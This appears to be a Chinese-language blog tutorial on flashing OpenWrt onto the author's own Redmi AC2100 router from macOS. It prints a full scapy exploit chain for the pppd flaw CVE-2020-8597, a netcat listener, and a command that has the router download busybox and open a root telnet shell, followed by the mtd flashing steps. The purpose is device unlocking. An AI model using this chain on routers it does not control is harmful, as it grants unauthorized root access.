【OpenWrt】macOS 下小米红米路由器 AC2100 (Xiaomi Redmi Router AC2100) 刷 OpenWrt

Posted by 西维蜀黍 on 2020-06-20, Last Modified on 2023-11-26

Preparation

相关工具安装

$ brew install netcat
$ pip3 install scapy

下载 busybox 和固件

$ wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel -o busybox-mipsel

$ wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin -o openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
$ wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin -o openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

# download the latest version from https://downloads.openwrt.org/releases/, e.g., https://downloads.openwrt.org/releases/23.05.2/targets/ramips/mt7621/

Exploit

PPPoE simulator

$ git clone git@github.com:Percy233/PPPoE_Simulator-for-RM2100-exploit.git
$ cd PPPoE_Simulator-for-RM2100-exploit
# Based on a PoC by "WinMin" (https://github.com/WinMin/CVE-2020-8597)
from scapy.all import *
from socket import *

# 修改这里为在你的情况中使用的 interface
interface = "en8"

...
$ python3 PPPoE_Simulator.py
WARNING: No IPv4 address found on awdl0 !
WARNING: No IPv4 address found on llw0 !
WARNING: more No IPv4 address found on awdl0 !
Waiting for packets

线缆连接

  • 准备两条网线
  • 一条的一端连接路由器的WAN口,另一端连接LAN1口
  • 另一条的一端连接任何一个LAN口,另一端连接mac

设置本机为静态IP

设置路由器为PPPoE模式

  • http://192.168.31.1 - 【常用设置】 - 【上网设置】- 设置为PPPoE

PPPoE_Simulator.py 正常通讯

在设置完成后,就能看到本机能与路由器进行PPPoE通讯了:

$ python3 PPPoE_Simulator.py
Waiting for packets
Server->Client   |   Configuration Request (PAP)
Client->Server   |   Discovery Initiation
Server->Client   |   Discovery Offer
Client->Server   |   Discovery Request
Server->Client   |   Discovery Session-confirmation
Server->Client   |   Configuration Request (PAP)
Client->Server   |   Discovery Initiation
Server->Client   |   Discovery Offer
Client->Server   |   Discovery Request
Server->Client   |   Discovery Session-confirmation
Server->Client   |   Configuration Request (PAP)
...

启动HTTP Server 以共享busybox和固件到路由器

$ python -m SimpleHTTPServer

启动 netcat

$ netcat -nvlp 31337

Exploit script - pppd-cve.py

记得要修改下面的 interface 为在你的情况中使用的 interface:

from scapy.all import *
from scapy.layers.ppp import *

# In most cases you just have to change this:
# 记得要修改这里为在你的情况中使用的 interface
interface = "en8"


ac_name = "PPPoE-Simulator"
service_name = "pppoe_on_macbook"
magic_number = 0xDEADBEEF
host_uniq = session_id = ac_cookie = mac_router = mac_server = eth_discovery = eth_session = None
ident = 0

End_Of_List = 0x0000
Service_Name = 0x0101
AC_Name = 0x0102
Host_Uniq = 0x0103
AC_Cookie = 0x0104
Vendor_Specific = 0x0105
Relay_Session_Id = 0x0110
Service_Name_Error = 0x0201
AC_System_Error = 0x0202
Generic_Error = 0x0203

PADI = 0x09
PADO = 0x07
PADR = 0x19
PADS = 0x65
PADT = 0xa7

LCP = 0xc021
PAP = 0xc023
CHAP = 0xc223
IPCP = 0x8021
IPV6CP = 0x8057
PPPoE_Discovery = 0x8863
PPPoE_Session = 0x8864

Configure_Request = 1
Configure_Ack = 2
Authenticate_Ack = 2
Configure_Nak = 3
Configure_Reject = 4
Terminate_Request = 5
Terminate_Ack = 6
Code_Reject = 7
Protocol_Reject = 8
Echo_Request = 9
Echo_Reply = 10
Discard_Request = 11


def packet_callback(pkt):
    global host_uniq, session_id, ident, ac_cookie, mac_router, mac_server, eth_discovery, eth_session
    mac_router = pkt[Ether].src
    eth_discovery = Ether(src=mac_server, dst=mac_router, type=PPPoE_Discovery)
    eth_session = Ether(src=mac_server, dst=mac_router, type=PPPoE_Session)

    if pkt.haslayer(PPPoED):
        if pkt[PPPoED].code == PADI:
            session_id = pkt[PPPoED].fields['sessionid']
            ac_cookie = os.urandom(20)
            for tag in pkt[PPPoED][PPPoED_Tags].tag_list:
                if tag.tag_type == Host_Uniq:
                    host_uniq = tag.tag_value
            print("Client->Server   |   Discovery Initiation")
            print("Server->Client   |   Discovery Offer")
            sendp(eth_discovery /
                  PPPoED(code=PADO, sessionid=0) /
                  PPPoETag(tag_type=Service_Name, tag_value=service_name) /
                  PPPoETag(tag_type=AC_Name, tag_value=ac_name) /
                  PPPoETag(tag_type=AC_Cookie, tag_value=ac_cookie) /
                  PPPoETag(tag_type=Host_Uniq, tag_value=host_uniq))
        elif pkt[PPPoED].code == PADR:
            print("Client->Server   |   Discovery Request")
            print("Server->Client   |   Discovery Session-confirmation")
            session_id = os.urandom(2)[0]
            sendp(eth_discovery /
                  PPPoED(code=PADS, sessionid=session_id) /
                  PPPoETag(tag_type=Service_Name, tag_value=service_name) /
                  PPPoETag(tag_type=Host_Uniq, tag_value=host_uniq))
            print("Server->Client   |   Configuration Request (PAP)")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=LCP) /
                  PPP_LCP(code=Configure_Request, id=ident + 1, data=(Raw(PPP_LCP_MRU_Option(max_recv_unit=1492)) /
                                                                      Raw(PPP_LCP_Auth_Protocol_Option(
                                                                       auth_protocol=PAP)) /
                                                                      Raw(PPP_LCP_Magic_Number_Option(
                                                                       magic_number=magic_number)))))

    elif pkt.haslayer(PPPoE) and pkt.haslayer(PPP):
        if pkt[PPPoE].sessionid != 0:
            session_id = pkt[PPPoE].sessionid
        if pkt.haslayer(PPP_LCP_Configure):
            ppp_lcp = pkt[PPP_LCP_Configure]
            if pkt[PPP_LCP_Configure].code == Configure_Request:
                ident = pkt[PPP_LCP_Configure].id
                print("Client->Server   |   Configuration Request (MRU)")
                print("Server->Client   |   Configuration Ack (MRU)")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=LCP) /
                      PPP_LCP(code=Configure_Ack, id=ident, data=(Raw(PPP_LCP_MRU_Option(max_recv_unit=1480)) /
                                                                  Raw(ppp_lcp[PPP_LCP_Magic_Number_Option]))))
            elif pkt[PPP_LCP_Configure].code == Configure_Ack:
                print("Client->Server   |   Configuration Ack")
                print("Server->Client   |   Echo Request")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=LCP) /
                      PPP_LCP_Echo(code=Echo_Request, id=ident + 1, magic_number=magic_number))
        elif pkt.haslayer(PPP_LCP_Echo):
            if pkt[PPP_LCP_Echo].code == Echo_Request:
                ident = pkt[PPP_LCP_Echo].id
                print("Client->Server   |   Echo Request")
                print("Server->Client   |   Echo Reply")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=LCP) /
                      PPP_LCP_Echo(code=Echo_Reply, id=ident, magic_number=magic_number))
        elif pkt.haslayer(PPP_PAP_Request):
            ident = pkt[PPP_PAP_Request].id
            print("Client->Server   |   Authentication Request")
            print("Server->Client   |   Authenticate Ack")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=PAP) /
                  PPP_PAP_Response(code=Authenticate_Ack, id=ident, message="Login ok"))
            print("Server->Client   |   Configuration Request (IP)")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=IPCP) /
                  PPP_IPCP(code=Configure_Request, id=ident + 1, options=PPP_IPCP_Option_IPAddress(data="10.15.0.8")))
        elif pkt.haslayer(PPP_IPCP):
            ident = pkt[PPP_IPCP].id
            if pkt[PPP_IPCP].options[0].data == "0.0.0.0":
                options = [PPP_IPCP_Option_IPAddress(data="10.16.0.9"),
                           PPP_IPCP_Option_DNS1(data="114.114.114.114"),
                           PPP_IPCP_Option_DNS2(data="114.114.114.114")]
                print("Client->Server   |   Configuration Request (invalid)")
                print("Server->Client   |   Configuration Nak")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=IPCP) /
                      PPP_IPCP(code=Configure_Nak, id=ident, options=options))
            else:
                print("Client->Server   |   Configuration Request (valid)")
                print("Server->Client   |   Configuration Ack")
                sendp(eth_session /
                      PPPoE(sessionid=session_id) /
                      PPP(proto=IPCP) /
                      PPP_IPCP(code=Configure_Ack, id=ident, options=pkt[PPP_IPCP].options))
        if pkt[PPP].proto == IPV6CP:
            print("Client->Server   |   Configuration Request IPV6CP")
            print("Server->Client   |   Protocol Reject IPV6CP")
            sendp(eth_session /
                  PPPoE(sessionid=session_id) /
                  PPP(proto=LCP) /
                  PPP_LCP_Protocol_Reject(code=Protocol_Reject, id=ident + 1, rejected_protocol=IPV6CP,
                                          rejected_information=pkt[PPP].payload))


def terminateConnection():
    print("Server->Client   |   Terminate Connection")
    sendp(eth_session /
          PPPoE(sessionid=session_id) /
          PPP(proto=LCP) /
          PPP_LCP_Terminate())


def isNotOutgoing(pkt):
    if pkt.haslayer(Ether):
        return pkt[Ether].src != mac_server
    return False


if __name__ == '__main__':
    conf.verb = 0  # Suppress Scapy output
    conf.iface = interface  # Set default interface
    mac_server = get_if_hwaddr(interface)
    print("Waiting for packets")
    sniff(prn=packet_callback, filter="pppoed or pppoes", lfilter=isNotOutgoing)

执行exploit

$ python3 pppd-cve.py	
sessionid:4
src:00:e0:4c:6a:56:1b
dst:88:c3:97:9b:51:5f
.
Sent 1 packets.

在执行成功后,就能看到路由器会主动连接 netcat:

$ netcat -nvlp 31337
Connection from 192.168.31.1:5823
cd /tmp && wget http://192.168.31.177:8000/busybox-mipsel && chmod a+x ./busybox-mipsel && ./busybox-mipsel telnetd -l /bin/sh
Connecting to 192.168.31.177:8000 (192.168.31.177:8000)
busybox-mipsel   100% |*******************************|  1590k  0:00:00 ETA

在路由器来本机的8000端口下载 busybox-mipsel 时,我们能看到我们的 HTTP Server 中有 access log:

$ python -m SimpleHTTPServer
192.168.31.1 - - [19/Jun/2020 22:57:05] "GET /busybox-mipsel HTTP/1.1" 200 -

telnet 至路由器

$ telnet 192.168.31.1                                                                                                                           ➜  ~ telnet 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is '^]'.



BusyBox v1.19.4 (2019-12-26 08:38:38 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

这时,就进入了路由器的shell,我们来刷入OpenWRT:

/tmp # wget http://192.168.31.177:8000/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
Connecting to 192.168.31.177:8000 (192.168.31.177:8000)
openwrt-ramips-mt762 100% |******************************************************************************|  2377k  0:00:00 ETA
/tmp #
/tmp # wget http://192.168.31.177:8000/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin
Connecting to 192.168.31.177:8000 (192.168.31.177:8000)
openwrt-ramips-mt762 100% |******************************************************************************|  3840k  0:00:00 ETA
/tmp #
/tmp # nvram set uart_en=1
/tmp # nvram set bootdelay=5
/tmp # nvram set flag_try_sys1_failed=1
/tmp # nvram commit
/tmp # mtd write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin kernel1
Unlocking kernel1 ...

Writing from openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin to kernel1 ...
/tmp # mtd -r write openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin rootfs0
Unlocking rootfs0 ...

Writing from openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin to rootfs0 ...
Rebooting ...
Connection closed by foreign host.

此后,路由器一旦刷入OpenWRT完成后,就会自动重启。

当路由器成功进入OpenWRT后,两个蓝色都会亮起,这时我们拔掉连接WAN口和LAN1口的那条网线。

Enjoy

将macOS下的网络设为自动DHCP,以让路由器自动给我们分配IP。

当路由器重启并初始化完成后,就会给本机分配IP:

此时,就可以 ssh 进入了(注意,这时候 luci 没有开启,这意味着现在还我们无法 OpenWRT的 Web管理界面):

$ ssh root@192.168.1.1
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:fsKupoDjwebF4yui/vVeMCUcZlgBIiEfSgoWM/jx2XQ.
Please contact your system administrator.
Add correct host key in /Users/wei.shi/.ssh/known_hosts to get rid of this message.
Offending RSA key in /Users/wei.shi/.ssh/known_hosts:19
Password authentication is disabled to avoid man-in-the-middle attacks.
Keyboard-interactive authentication is disabled to avoid man-in-the-middle attacks.


BusyBox v1.31.1 () built-in shell (ash)

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 OpenWrt SNAPSHOT, r13597-be56b29707
 -----------------------------------------------------
=== WARNING! =====================================
There is no root password defined on this device!
Use the "passwd" command to set up a new password
in order to prevent unauthorized SSH logins.
--------------------------------------------------
root@OpenWrt:~# opkg update
root@OpenWrt:~# opkg install luci

Then, enjoy…

Reference